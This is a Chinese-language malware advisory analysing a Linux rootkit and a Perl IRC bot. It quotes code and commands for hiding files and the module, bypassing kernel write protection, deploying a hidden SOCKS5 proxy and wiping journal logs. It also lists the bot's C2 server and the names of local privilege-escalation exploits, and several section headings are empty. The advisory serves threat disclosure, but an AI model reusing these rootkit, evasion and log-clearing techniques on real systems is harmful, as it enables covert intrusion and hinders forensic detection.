【恶意文件通告】Linux多功能病毒分析

#define MAGIC_PREFIX "ad12e85f"// 在 hacked_getdents 中:if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) ==0) {// 从返回结果中移除此条目}

同时, 以数字命名的进程 ID 也会在 /proc 中被隐藏 (通过 is_invisible 检查 PF_INVISIBLE 标志)。

内存保护绕过

// x86/x86_64: 修改 CR0 寄存器绕过写保护cr0=read_cr0();unprotect_memory();   // write_cr0(cr0 & ~0x00010000)// 修改系统调用表...protect_memory();     // write_cr0(cr0)// ARM64: 直接修改页表权限update_mapping_prot(phys, virt, size, PAGE_KERNEL);

自隐藏技术

// 从内核模块链表中删除自身module_hide() {module_previous=THIS_MODULE->list.prev;list_del(&THIS_MODULE->list);     // 从 lsmod 不可见}// 删除 sect_attrs 防止 sysfs 暴露tidy() {kfree(THIS_MODULE->sect_attrs);THIS_MODULE->sect_attrs=NULL;   // /sys/module/ 不可见}

Rootkit 元数据

部署 SS5 SOCKS5 代理

# 从隐藏在 /etc/$hhide/ 的 dnsresolve 复制 SS5 代理cp /etc/ad12e85f/dnsresolve /$EXE# $EXE = md5sum($RANDOM)[:8]# 以静默、线程模式启动 SS5 SOCKS5 代理/$EXE-m-t-p /usr/share/terminfo/w/wy66-qa -b0.0.0.0:$port# 删除可执行文件 (进程仍在内存中运行)rm-rf /$EXE# 通过 rootkit 信号隐藏 SS5 进程kill-41`cat /usr/share/terminfo/w/wy66-qa`# 通过 rootkit 信号隐藏内核模块kill-5310000000

SS5 配置

伪装路径

SS5 PID 文件: /usr/share/terminfo/w/wy66-qa (伪装成 terminfo 数据库条目)

SS5 可执行文件: 随机 8 字符 MD5 前缀, 执行后立即删除

SS5 原始文件: /etc/$hhide/dnsresolve (被 rootkit 隐藏)

日志清除收尾

journalctl --vacuum-time=1s    # 清空 systemd journal 日志

3.ssh_host_dsa_key.pub

该文件与59a515e28d1515ae同源不同构建，通过 SSC 自解压编译器投递，嵌入 Perl 脚本 (~46KB) 实现 IRC C2 通信、DDoS 攻击、漏洞扫描、反向 Shell、日志清除等全功能。基于 "LiGhT's Modded perlbot v2" (Sida/Perlbot 变种)。文件名伪装为 SSH 主机密钥 (.pub)。释放的Perl脚本具备以下功能：

C2 配置

my$processo='usr/sbin/httpd';           # 伪装的进程名my$linas_max='10';                       # 每批输出行数my$sleep='5';                        # 批次间隔my$servidor='adam.established.site';    # ★ C2 IRC 服务器my$porta='80';                       # ★ 端口80my@adms= ("qwerty","asdfgh1","zxcvbn1","12345");  # 管理员my@hostauth= ("qwerty");                 # 授权主机my@canais= ("#ssh");                   # IRC 频道my$chanpass="@";                        # 频道密码# 机器人命名格式$nick="L_${CPU_CORES}_${HOSTNAME}"; $ircname="linux_${CPU_CORES}";           # IRC 用户名$realname="${HOSTNAME} ${CPU_CORES}";     # 真实名

DDoS 攻击命令

IRC 洪水命令

漏洞扫描/攻击命令

后门/访问命令

权限提升检测 (unixable)

检查 30+ Linux 内核漏洞的本地提权可能: w00t, brk, ave, elflbl, elfdump, expand_stack, h00lyshit, kdump, km2, krad, krad3, local26, loko, mremap_pte, newlocal, ong_bak, ptrace, ptrace_kmod, ptrace24, pwned, py2, raptor_prctl, prctl3, remap, rip, stackgrow2, uselib24, newsmp, smpracer, loginx, exp.sh, prctl, kmdx, raptor, raptor2

反取证命令

IRC 管理命令

信息/帮助命令